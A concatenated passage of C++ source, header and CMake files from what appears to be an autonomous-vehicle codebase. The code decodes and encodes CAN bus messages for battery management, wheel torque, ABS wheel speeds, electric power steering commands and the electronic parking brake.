'BMS_IDU_STATUS_NORMAL', 1: 'BMS_IDU_STATUS_LEVEL1_600_A6_B8_V', 2: 'BMS_IDU_STATUS_LEVEL2_500_A6_B8_V', 3: 'BMS_IDU_STATUS_LEVEL3_CHARGE_100_A6_B8_V_DRIVE_400_A6_B8_V'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 33, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_idu_statusType Gwbmssts0x181181::bms_idu_status(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 2); Gw_bms_sts_0x181_181::Bms_idu_statusType ret = static_cast<Gw_bms_sts_0x181_181::Bms_idu_statusType>(x); return ret; } // config detail: {'name': 'bms_batbalance_err', 'enum': {0: 'BMS_BATBALANCE_ERR_NORMAL', 1: 'BMS_BATBALANCE_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_batbalance_errType Gwbmssts0x181181::bms_batbalance_err(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 1); Gw_bms_sts_0x181_181::Bms_batbalance_errType ret = static_cast<Gw_bms_sts_0x181_181::Bms_batbalance_errType>(x); return ret; } // config detail: {'name': 'bms_socactual_est', 'offset': 0.0, 'precision': 0.25, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|100]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double Gwbmssts0x181181::bms_socactual_est(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 6); int32_t t = t1.get_byte(7, 1); x <<= 1; x |= t; double ret = x * 0.250000; return ret; } // config detail: {'name': 'bms_packcur_meas', 'offset': -800.0, 'precision': 0.1, 'len': 14, 'is_signed_var': False, 'physical_range': '[-800|800]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'A'} double Gwbmssts0x181181::bms_packcur_meas(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 4); int32_t t = t1.get_byte(2, 6); x <<= 6; x |= t; double ret = x * 0.100000 + -800.000000; return ret; } // config detail: {'name': 'bms_chg_sts', 'enum': {0: 'BMS_CHG_STS_NOT_READY', 1: 'BMS_CHG_STS_READY_TO_CHARGING', 2: 'BMS_CHG_STS_CHARGING', 3: 'BMS_CHG_STS_CHARGEERROR', 4: 'BMS_CHG_STS_CHARGEOK'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_chg_stsType Gwbmssts0x181181::bms_chg_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 3); Gw_bms_sts_0x181_181::Bms_chg_stsType ret = static_cast<Gw_bms_sts_0x181_181::Bms_chg_stsType>(x); return ret; } // config detail: {'name': 'bms_packvol_meas', 'offset': 0.0, 'precision': 0.1, 'len': 13, 'is_signed_var': False, 'physical_range': '[0|800]', 'bit': 15, 'type': 'double', 'order': 'motorola', 'physical_unit': 'V'} double Gwbmssts0x181181::bms_packvol_meas(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 2); int32_t t = t1.get_byte(3, 5); x <<= 5; x |= t; double ret = x * 0.100000; return ret; } // config detail: {'name': 'bms_balance_sts', 'enum': {0: 'BMS_BALANCE_STS_INACTIVE', 1: 'BMS_BALANCE_STS_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_balance_stsType Gwbmssts0x181181::bms_balance_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 1); Gw_bms_sts_0x181_181::Bms_balance_stsType ret = static_cast<Gw_bms_sts_0x181_181::Bms_balance_stsType>(x); return ret; } // config detail: {'name': 'bms_packnum_est', 'offset': 0.0, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'physical_range': '[0|1]', 'bit': 2, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwbmssts0x181181::bms_packnum_est(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(1, 2); int ret = x; return ret; } // config detail: {'name': 'bms_hvdown_req', 'enum': {0: 'BMS_HVDOWN_REQ_NO_REQUEST', 1: 'BMS_HVDOWN_REQ_REQUEST'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_hvdown_reqType Gwbmssts0x181181::bms_hvdown_req(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(3, 1); Gw_bms_sts_0x181_181::Bms_hvdown_reqType ret = static_cast<Gw_bms_sts_0x181_181::Bms_hvdown_reqType>(x); return ret; } // config detail: {'name': 'bms_hvonoff_sts', 'enum': {0: 'BMS_HVONOFF_STS_HV_OFF', 1: 'BMS_HVONOFF_STS_PRECHARGE', 2: 'BMS_HVONOFF_STS_HV_ON', 3: 'BMS_HVONOFF_STS_FAIL_TO_HV_ON'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_hvonoff_stsType Gwbmssts0x181181::bms_hvonoff_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(4, 2); Gw_bms_sts_0x181_181::Bms_hvonoff_stsType ret = static_cast<Gw_bms_sts_0x181_181::Bms_hvonoff_stsType>(x); return ret; } // config detail: {'name': 'bms_sys_sts', 'enum': {0: 'BMS_SYS_STS_INIT', 1: 'BMS_SYS_STS_OK', 2: 'BMS_SYS_STS_WARNING', 3: 'BMS_SYS_STS_FAULT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_sys_stsType Gwbmssts0x181181::bms_sys_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(6, 2); Gw_bms_sts_0x181_181::Bms_sys_stsType ret = static_cast<Gw_bms_sts_0x181_181::Bms_sys_stsType>(x); return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_VCU_WHLTQ_0X107_107_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_VCU_WHLTQ_0X107_107_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Gwvcuwhltq0x107107 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwvcuwhltq0x107107(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'Checksum_0x107', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x107(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x107', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x107(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_KickDown', 'enum': {0: 'VCU_KICKDOWN_NOTACTIVE', 1: 'VCU_KICKDOWN_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_whltq_0x107_107::Vcu_kickdownType vcu_kickdown(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_ACCPedalRatioError', 'enum': {0: 'VCU_ACCPEDALRATIOERROR_NOERROR', 1: 'VCU_ACCPEDALRATIOERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_whltq_0x107_107::Vcu_accpedalratioerrorType vcu_accpedalratioerror(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_AccPedalRatio', 'offset': 0.0, 'precision': 0.3937, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|99.9998]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double vcu_accpedalratio(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_AccRAWPedalRatio', 'offset': 0.0, 'precision': 0.3937, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|99.9998]', 'bit': 39, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double vcu_accrawpedalratio(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_BrkPedalStasus', 'enum': {0: 'VCU_BRKPEDALSTASUS_NOTPRESSED', 1: 'VCU_BRKPEDALSTASUS_PRESSED', 2: 'VCU_BRKPEDALSTASUS_RESERVED', 3: 'VCU_BRKPEDALSTASUS_ERROR'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_whltq_0x107_107::Vcu_brkpedalstasusType vcu_brkpedalstasus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_MinIndicatedTorqWhl', 'offset': -30000.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[-30000|30000]', 'bit': 23, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int vcu_minindicatedtorqwhl(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_MaxIndicatedTorqWhl', 'offset': -30000.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[-30000|30000]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int vcu_maxindicatedtorqwhl(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_GW_VCU_WHLTQ_0X107_107_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_chunkheader_h #define impl_type_chunkheader_h #include "impl_type_uint64.h" struct ChunkHeader { ::UInt64 begin_time; ::UInt64 end_time; ::UInt64 message_number; ::UInt64 raw_size; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(begin_time); fun(end_time); fun(message_number); fun(raw_size); } template<typename F> void enumerate(F& fun) const { fun(begin_time); fun(end_time); fun(message_number); fun(raw_size); } bool operator == (const ::ChunkHeader& t) const { return (begin_time == t.begin_time) && (end_time == t.end_time) && (message_number == t.message_number) && (raw_size == t.raw_size); } }; #endif // impl_type_chunkheader_h <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/adu_controleps2_0x100_100.h" #include "modules/drivers/canbus/common/byte.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; const int32_t Aducontroleps20x100100::ID = 0x100; // public Aducontroleps20x100100::Aducontroleps20x100100() { Reset(); } uint32_t Aducontroleps20x100100::GetPeriod() const { // TODO modify every protocol's period manually static const uint32_t PERIOD = 20 * 1000; return PERIOD; } void Aducontroleps20x100100::UpdateData(uint8_t* data) { set_p_adu_100h_messagecounter(data, adu_100h_messagecounter_); set_p_adu_ctrsteeringwheelanglespeed(data, adu_ctrsteeringwheelanglespeed_); set_p_adu_controsteeringwheelangle(data, adu_controsteeringwheelangle_); set_p_adu_controepsenable(data, adu_controepsenable_); set_p_adu_100h_messagechecksum(data, adu_100h_messagechecksum_); } void Aducontroleps20x100100::Reset() { // TODO you should check this manually adu_100h_messagechecksum_ = 0; adu_100h_messagecounter_ = 0; adu_ctrsteeringwheelanglespeed_ = 0; adu_controsteeringwheelangle_ = 0.0; adu_controepsenable_ = Adu_controleps2_0x100_100::ADU_CONTROEPSENABLE_DISABLE; } Aducontroleps20x100100* Aducontroleps20x100100::set_adu_100h_messagechecksum( int adu_100h_messagechecksum) { adu_100h_messagechecksum_ = adu_100h_messagechecksum; return this; } // config detail: {'name': 'ADU_100h_MessageChecksum', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Aducontroleps20x100100::set_p_adu_100h_messagechecksum(uint8_t* data, int adu_100h_messagechecksum) { //adu_100h_messagechecksum = (data[0]^data[1]^data[2]^data[3]^data[4]^data[5]^data[6]); //AINFO<<"set_p_adu_100h_messagechecksum"<<data[4]; //adu_100h_messagechecksum = ProtocolData::BoundedValue(0, 255, adu_100h_messagechecksum); int x = adu_100h_messagechecksum; Byte to_set(data + 7); to_set.set_value(x, 0, 8); } Aducontroleps20x100100* Aducontroleps20x100100::set_adu_100h_messagecounter( int adu_100h_messagecounter) { adu_100h_messagecounter_ = adu_100h_messagecounter; return this; } // config detail: {'name': 'ADU_100h_MessageCounter', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Aducontroleps20x100100::set_p_adu_100h_messagecounter(uint8_t* data, int adu_100h_messagecounter) { adu_100h_messagecounter = ProtocolData::BoundedValue(0, 15, adu_100h_messagecounter); int x = adu_100h_messagecounter; Byte to_set(data + 6); to_set.set_value(x, 0, 4); } Aducontroleps20x100100* Aducontroleps20x100100::set_adu_ctrsteeringwheelanglespeed( int adu_ctrsteeringwheelanglespeed) { adu_ctrsteeringwheelanglespeed_ = adu_ctrsteeringwheelanglespeed; return this; } // config detail: {'name': 'ADU_CtrSteeringwheelanglespeed', 'offset': 0.0, 'precision': 1.0, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|510]', 'bit': 31, 'type': 'int', 'order': 'motorola', 'physical_unit': 'deg/s'} void Aducontroleps20x100100::set_p_adu_ctrsteeringwheelanglespeed(uint8_t* data, int adu_ctrsteeringwheelanglespeed) { adu_ctrsteeringwheelanglespeed = ProtocolData::BoundedValue(0, 510, adu_ctrsteeringwheelanglespeed); int x = adu_ctrsteeringwheelanglespeed; uint8_t t = 0; t = x & 0x1; Byte to_set0(data + 4); to_set0.set_value(t, 7, 1); x >>= 1; t = x & 0xFF; Byte to_set1(data + 3); to_set1.set_value(t, 0, 8); } Aducontroleps20x100100* Aducontroleps20x100100::set_adu_controsteeringwheelangle( double adu_controsteeringwheelangle) { adu_controsteeringwheelangle_ = adu_controsteeringwheelangle; return this; } // config detail: {'name': 'ADU_ControSteeringwheelangle', 'offset': -612.0, 'precision': 0.1, 'len': 16, 'is_signed_var': False, 'physical_range': '[-612|612]', 'bit': 15, 'type': 'double', 'order': 'motorola', 'physical_unit': 'degree'} void Aducontroleps20x100100::set_p_adu_controsteeringwheelangle(uint8_t* data, double adu_controsteeringwheelangle) { adu_controsteeringwheelangle = ProtocolData::BoundedValue(-612.0, 612.0, adu_controsteeringwheelangle); int x = (adu_controsteeringwheelangle - -612.000000) / 0.100000; uint8_t t = 0; t = x & 0xFF; Byte to_set0(data + 2); to_set0.set_value(t, 0, 8); x >>= 8; t = x & 0xFF; Byte to_set1(data + 1); to_set1.set_value(t, 0, 8); } Aducontroleps20x100100* Aducontroleps20x100100::set_adu_controepsenable( Adu_controleps2_0x100_100::Adu_controepsenableType adu_controepsenable) { adu_controepsenable_ = adu_controepsenable; return this; } // config detail: {'name': 'ADU_ControEpsEnable', 'enum': {0: 'ADU_CONTROEPSENABLE_DISABLE', 1: 'ADU_CONTROEPSENABLE_ENABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Aducontroleps20x100100::set_p_adu_controepsenable(uint8_t* data, Adu_controleps2_0x100_100::Adu_controepsenableType adu_controepsenable) { int x = adu_controepsenable; Byte to_set(data + 0); to_set.set_value(x, 0, 1); } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(routing_core INTERFACE) target_link_libraries(routing_core INTERFACE routing_navigator) add_library(routing_navigator navigator.cc navigator.h) target_link_libraries(routing_navigator routing_black_list_range_generator routing_result_generator adapter_manager common_proto jmcauto_time util routing_gflags graph routing_proto strategy) add_library(routing_black_list_range_generator black_list_range_generator.cc black_list_range_generator.h) target_link_libraries(routing_black_list_range_generator graph) add_library(routing_result_generator result_generator.cc result_generator.h) target_link_libraries(routing_result_generator adapter_manager jmcauto_time map_util graph routing_proto)<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_modeltype_h #define impl_type_modeltype_h #include "impl_type_uint8.h" enum class ModelType : UInt8 { REAR_CENTERED_KINEMATIC_BICYCLE_MODEL = 0, COM_CENTERED_DYNAMIC_BICYCLE_MODEL = 1, MLP_MODEL = 2 }; #endif // impl_type_modeltype_h <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/gw_abs_0x211_211.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Gwabs0x211211::Gwabs0x211211() {} const int32_t Gwabs0x211211::ID = 0x211; void Gwabs0x211211::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_gw_abs_0x211_211()->set_checksum_0x211(checksum_0x211(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_0x211_211()->set_rollingcounter_0x211(rollingcounter_0x211(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_0x211_211()->set_abs_whlspdreristatus(abs_whlspdreristatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_0x211_211()->set_abs_whlspdrelestatus(abs_whlspdrelestatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_0x211_211()->set_abs_whlspdfrntristatus(abs_whlspdfrntristatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_0x211_211()->set_abs_whlspdfrntlestatus(abs_whlspdfrntlestatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_0x211_211()->set_abs_whlspdreri(abs_whlspdreri(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_0x211_211()->set_abs_whlspdrele(abs_whlspdrele(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_0x211_211()->set_abs_whlspdfrntri(abs_whlspdfrntri(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_0x211_211()->set_abs_whlspdfrntle(abs_whlspdfrntle(bytes, length)); } // config detail: {'name': 'checksum_0x211', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwabs0x211211::checksum_0x211(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rollingcounter_0x211', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwabs0x211211::rollingcounter_0x211(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'abs_whlspdreristatus', 'enum': {0: 'ABS_WHLSPDRERISTATUS_VALID', 1: 'ABS_WHLSPDRERISTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_abs_0x211_211::Abs_whlspdreristatusType Gwabs0x211211::abs_whlspdreristatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 1); Gw_abs_0x211_211::Abs_whlspdreristatusType ret = static_cast<Gw_abs_0x211_211::Abs_whlspdreristatusType>(x); return ret; } // config detail: {'name': 'abs_whlspdrelestatus', 'enum': {0: 'ABS_WHLSPDRELESTATUS_VALID', 1: 'ABS_WHLSPDRELESTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_abs_0x211_211::Abs_whlspdrelestatusType Gwabs0x211211::abs_whlspdrelestatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(5, 1); Gw_abs_0x211_211::Abs_whlspdrelestatusType ret = static_cast<Gw_abs_0x211_211::Abs_whlspdrelestatusType>(x); return ret; } // config detail: {'name': 'abs_whlspdfrntristatus', 'enum': {0: 'ABS_WHLSPDFRNTRISTATUS_VALID', 1: 'ABS_WHLSPDFRNTRISTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_abs_0x211_211::Abs_whlspdfrntristatusType Gwabs0x211211::abs_whlspdfrntristatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 1); Gw_abs_0x211_211::Abs_whlspdfrntristatusType ret = static_cast<Gw_abs_0x211_211::Abs_whlspdfrntristatusType>(x); return ret; } // config detail: {'name': 'abs_whlspdfrntlestatus', 'enum': {0: 'ABS_WHLSPDFRNTLESTATUS_VALID', 1: 'ABS_WHLSPDFRNTLESTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_abs_0x211_211::Abs_whlspdfrntlestatusType Gwabs0x211211::abs_whlspdfrntlestatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(7, 1); Gw_abs_0x211_211::Abs_whlspdfrntlestatusType ret = static_cast<Gw_abs_0x211_211::Abs_whlspdfrntlestatusType>(x); return ret; } // config detail: {'name': 'abs_whlspdreri', 'offset': 0.0, 'precision': 0.05625, 'len': 12, 'is_signed_var': False, 'physical_range': '[0|230.2875]', 'bit': 35, 'type': 'double', 'order': 'motorola', 'physical_unit': 'kph'} double Gwabs0x211211::abs_whlspdreri(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 4); Byte t1(bytes + 5); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = x * 0.056250; return ret; } // config detail: {'name': 'abs_whlspdrele', 'offset': 0.0, 'precision': 0.05625, 'len': 12, 'is_signed_var': False, 'physical_range': '[0|230.2875]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'kph'} double Gwabs0x211211::abs_whlspdrele(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 4); int32_t t = t1.get_byte(4, 4); x <<= 4; x |= t; double ret = x * 0.056250; return ret; } // config detail: {'name': 'abs_whlspdfrntri', 'offset': 0.0, 'precision': 0.05625, 'len': 12, 'is_signed_var': False, 'physical_range': '[0|230.2875]', 'bit': 11, 'type': 'double', 'order': 'motorola', 'physical_unit': 'kph'} double Gwabs0x211211::abs_whlspdfrntri(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 4); Byte t1(bytes + 2); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = x * 0.056250; return ret; } // config detail: {'name': 'abs_whlspdfrntle', 'offset': 0.0, 'precision': 0.05625, 'len': 12, 'is_signed_var': False, 'physical_range': '[0|230.2875]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'kph'} double Gwabs0x211211::abs_whlspdfrntle(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(4, 4); x <<= 4; x |= t; double ret = x * 0.056250; return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_EPB_STATUS_0X152_152_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_EPB_STATUS_0X152_152_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Epbstatus0x152152 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Epbstatus0x152152(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'Checksum_0x152', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x152(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x152', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x152(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPB_FaultCode', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|0]', 'bit': 47, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int epb_faultcode(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPB_BrakeLampReq', 'enum': {0: 'EPB_BRAKELAMPREQ_BRAKE_LAMP_OFF', 1: 'EPB_BRAKELAMPREQ_BRAKE_LAMP_ON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Epb_status_0x152_152::Epb_brakelampreqType epb_brakelampreq(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPB_SysFaultStatus', 'enum': {0: 